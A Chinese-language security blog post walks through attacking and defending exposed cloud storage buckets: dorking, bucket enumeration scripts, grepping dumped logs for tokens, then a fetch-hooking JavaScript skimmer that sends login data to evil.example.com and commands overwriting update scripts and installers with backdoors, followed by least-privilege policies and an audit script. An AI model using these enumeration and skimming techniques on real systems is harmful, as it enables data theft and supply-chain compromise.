上周一个客户找到我，说他们收到云厂商的安全告警——某个存储桶在凌晨3点被大量下载，疑似数据泄露。客户很慌，问我："我们的桶设了权限的，怎么还会被拖？"

我笑着说："你设的权限，怕不是'公开可读'那种权限吧？"

一查，果不其然。一个存放日志归档的S3兼容桶，Bucket Policy配置成了Principal: "*"、Effect: "Allow"，配上Action: "s3:GetObject"。这不是锁，这是敞着门让人进。

这种案例我一年能碰上十几起。今天就把云存储桶安全攻防的全流程拆开揉碎了讲清楚——从发现到利用，从利用到防御，一条龙。

第一步：如何发现暴露的存储桶

云存储桶的发现，主要分两条路：被动信息收集 和 主动探测。

被动收集：Google Hacking + GitHub Dorking

最省力的方式，让搜索引擎帮你找。

# Google dorking 找公开桶
site:oss.aliyuncs.com intitle:"Index of"
site:s3.amazonaws.com "bucket"
site:blob.core.windows.net intitle:"Index of"

# 找暴露的存储桶URL
"Bucket: " "s3.amazonaws.com"
"Endpoint: " "oss-cn-hangzhou.aliyuncs.com"

GitHub也是重灾区。很多开发者在配置文件中硬编码了桶的访问信息，甚至直接把Bucket Policy贴到了公开仓库。

# GitHub 搜索暴露的云存储配置
"aws_access_key_id" AND "s3" language:yaml
"oss_access_key_id" language:json
"storage_account" AND "connection_string" language:python

前两天我随手一搜，就发现了一个包含阿里云OSS AccessKey的公共仓库——用ali-oss SDK配置了完整的写权限。这种属于致命级别的泄露，攻击者拿到后不仅能读数据，还能上传恶意文件。

主动探测：我自己常用的工具链

被动找不完的，主动来扫。

# 安装 S3Scanner 扫描公开桶
pip install s3scanner

# 批量检测桶列表
s3scanner scan --bucket-file buckets.txt --out found.txt

# buckets.txt 内容示例
dev-backup.company.com
prod-logs.company.com
test-assets.company.com
data-analytics.company.com

这里有个关键技巧：桶命名模式预测。一旦你拿到一个公司的一个桶名，按命名规律可以推出其他桶。

import boto3
import re

# 根据已知桶名预测模式
known_bucket = "prod-logs-company"
patterns = [
    known_bucket,
    known_bucket.replace("prod", "dev"),
    known_bucket.replace("prod", "test"),
    known_bucket.replace("logs", "backup"),
    known_bucket.replace("logs", "data"),
    f"{known_bucket}-archive",
    f"{known_bucket}-bak",
]

s3 = boto3.client('s3')
for bucket in patterns:
    try:
        response = s3.list_objects_v2(Bucket=bucket, MaxKeys=1)
        print(f"[+] 可读: {bucket} - {response.get('Contents', [])}")
    except Exception as e:
        code = e.response['Error']['Code']
        if code == 'NoSuchBucket':
            print(f"[-] 不存在: {bucket}")
        elif code == 'AccessDenied':
            print(f"[*] 存在但无权限: {bucket}")

跑一轮下来，经常能扫到意外惊喜——Dev环境的备份桶、测试数据桶，权限往往比Prod松散得多。

第二步：捅开之后的骚操作

找到可读的桶只是开始，真正的价值在于能从桶里挖到什么。

数据侦察：目录漫游的艺术

# 递归列出桶内所有文件
aws s3 ls s3://exposed-bucket --recursive --human-readable

# 按大小排序找出"大鱼"
aws s3 ls s3://exposed-bucket --recursive | sort -k3 -rn | head -20

# 搜索敏感关键词
aws s3 ls s3://exposed-bucket --recursive | grep -iE "\.(pem|key|env|config|json|sql|csv|xlsx|pdf|dump)"

一次实战中，我在一个"测试"桶里翻出了以下文件：

• config/staging.env — 内含数据库连接串和Redis密码
• backup/db_dump_20260501.sql — 完整的用户表数据
• deploy/ssh_key_staging.pem — 测试服务器SSH密钥
• logs/app/2026/04/ — 应用日志，含用户Token和API请求

一条凭证通向一个内网。 拿到那个.pem文件后，我直接SSH到了他们的Staging服务器——而那条Staging环境，竟然和生产环境在同一VPC下。从公开桶到内网漫游，整个过程不到40分钟。

日志中的金矿

千万别小看日志。很多人觉得日志"没什么价值"，加密程度也是最松的。

# 从日志中提取API Token
grep -oP '"token":\s*"[^"]+"' app-2026-*.log | sort -u

# 提取IP白名单
grep -oP '"client_ip":\s*"[^"]+"' access.log.* | sort -u

# 提取用户操作记录
grep "ERROR" error.log.* | grep -i "unauthorized\|forbidden\|permission"

我见过最离谱的一次，一个桶里存了半年的Nginx访问日志，里面记满了API请求的完整URL——包括query string里的Token。等于攻击者拿到了一把通往所有内部API的万能钥匙。

第三步：写入权限才是真正的噩梦

比可读桶更可怕的是可写桶。

# 检查桶的写入权限
echo "test" > /tmp/test.txt
aws s3 cp /tmp/test.txt s3://exposed-bucket/test_write_permission.txt

# 如果能写入，尝试覆盖关键文件
aws s3 cp /tmp/malicious.js s3://exposed-bucket/static/js/app.js

可写桶的攻击路径：

供应链投毒

如果你的桶被用来托管前端静态资源，攻击者上传一个恶意JS文件：

// 看似正常的埋点代码，实际窃取用户凭证
(function() {
    const originalFetch = window.fetch;
    window.fetch = function(...args) {
        // 偷偷记录请求中的敏感信息
        if (args[0].includes('/api/login') || args[0].includes('/token')) {
            fetch('https://evil.example.com/steal', {
                method: 'POST',
                body: JSON.stringify({url: args[0], body: args[1]?.body})
            });
        }
        return originalFetch.apply(this, args);
    };
})();

如果用户访问的页面加载了这个JS，所有登录信息都会被劫持。而这种攻击最可怕的地方在于——你完全不知道它在发生，直到有用户报告异常。

恶意文件上传导致RCE

更直接的攻击：上传伪装成更新包的恶意文件。

# 覆盖OTA更新包
aws s3 cp /tmp/backdoor.sh s3://exposed-bucket/updates/v2.1.3/update.sh
# 覆盖客户端下载的安装程序
aws s3 cp /tmp/trojan.msi s3://exposed-bucket/downloads/installer-v3.0.msi

第四步：防御指南（说人话版）

讲了这么多攻击，必须把防守也说清楚。下面是我给客户的三道防线：

一、最小权限原则 —— 最便宜也最有效的防御

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Deny",
      "Principal": "*",
      "Action": "s3:GetObject",
      "Resource": "arn:aws:s3:::my-bucket/*",
      "Condition": {
        "Bool": {"aws:SecureTransport": "false"}
      }
    },
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::123456789:role/app-server"
      },
      "Action": ["s3:GetObject", "s3:PutObject"],
      "Resource": "arn:aws:s3:::my-bucket/app-data/*"
    }
  ]
}

关键点：

• 永远不要用"Principal": "*"配合"Effect": "Allow"
• 用Deny兜底策略：先拒绝所有人，再按需放行
• 限定SourceIP和SecureTransport
• 使用预签名URL（Presigned URL）替代公开访问

二、自动化扫描 —— 别等人告诉你桶暴露了

#!/usr/bin/env python3
"""云存储桶安全巡检脚本"""
import boto3
import json
from botocore.exceptions import ClientError

def check_bucket_public_access(bucket_name):
    """检查存储桶是否公开可访问"""
    s3 = boto3.client('s3')
    results = {'bucket': bucket_name, 'risks': []}
    
    # 1. 检查Bucket Policy
    try:
        policy = s3.get_bucket_policy(Bucket=bucket_name)
        policy_doc = json.loads(policy['Policy'])
        for statement in policy_doc.get('Statement', []):
            principal = statement.get('Principal', {})
            if principal in ('*', {'AWS': '*'}):
                results['risks'].append({
                    'type': 'PUBLIC_POLICY',
                    'detail': f"Statement allows public: {statement.get('Effect')}"
                })
    except ClientError as e:
        if e.response['Error']['Code'] != 'NoSuchBucketPolicy':
            results['risks'].append({'type': 'POLICY_CHECK_FAILED', 'detail': str(e)})
    
    # 2. 检查ACL
    try:
        acl = s3.get_bucket_acl(Bucket=bucket_name)
        for grant in acl.get('Grants', []):
            grantee = grant.get('Grantee', {})
            if grantee.get('URI', '') == 'http://acs.amazonaws.com/groups/global/AllUsers':
                results['risks'].append({
                    'type': 'PUBLIC_ACL',
                    'detail': f"Public {grant['Permission']} via ACL"
                })
    except Exception as e:
        results['risks'].append({'type': 'ACL_FAILED', 'detail': str(e)})
    
    # 3. 检查Block Public Access设置
    try:
        bpa = s3.get_public_access_block(Bucket=bucket_name)
        for k, v in bpa['PublicAccessBlockConfiguration'].items():
            if not v:
                results['risks'].append({
                    'type': 'BPA_DISABLED',
                    'detail': f"{k} is disabled"
                })
    except ClientError:
        results['risks'].append({'type': 'BPA_NOT_CONFIGURED'})
    
    return results

# 扫描所有桶
s3 = boto3.client('s3')
buckets = s3.list_buckets()['Buckets']
for b in buckets:
    result = check_bucket_public_access(b['Name'])
    if result['risks']:
        print(f"[!] {b['Name']}: {len(result['risks'])} 个风险")
        for r in result['risks']:
            print(f"    {r['type']}: {r['detail']}")

把这脚本挂到CI/CD或者定时任务里，每天跑一次。发现风险直接飞书/钉钉告警。

三、日志审计与异常检测

# 开启S3访问日志（发到独立的审计桶）
aws s3api put-bucket-logging \
  --bucket prod-data \
  --bucket-logging-status '{
    "LoggingEnabled": {
      "TargetBucket": "audit-logs-prod",
      "TargetPrefix": "s3-access/prod-data/"
    }
  }'

# 分析异常访问模式
# 1. 来自非预期地域的访问
# 2. 下载量突然暴增（数据拖取）
# 3. 非工作时间的大量访问
# 4. 批量枚举对象（403连发）

我在一个客户的审计日志里发现，某个桶在凌晨的下载量是白天的10倍，来源IP来自东欧。客户一查，果然是被Web爬虫抓到了公开桶。

写在最后

云存储桶安全的核心问题从来不是技术——是意识。

每次我处理这类事件，90%的场景都是：开发图方便、运维没复查、安全没覆盖到。一条错误的Bucket Policy，几个字符的问题，带来的后果可能是整个公司数据资产暴露。

给所有安全从业者和运维一句实在话：

每天花5分钟检查一下你们公司的存储桶权限，比你买一百万的WAF都管用。

别等到云厂商的告警邮件发到你CEO邮箱，再去查是哪条Policy出了问题。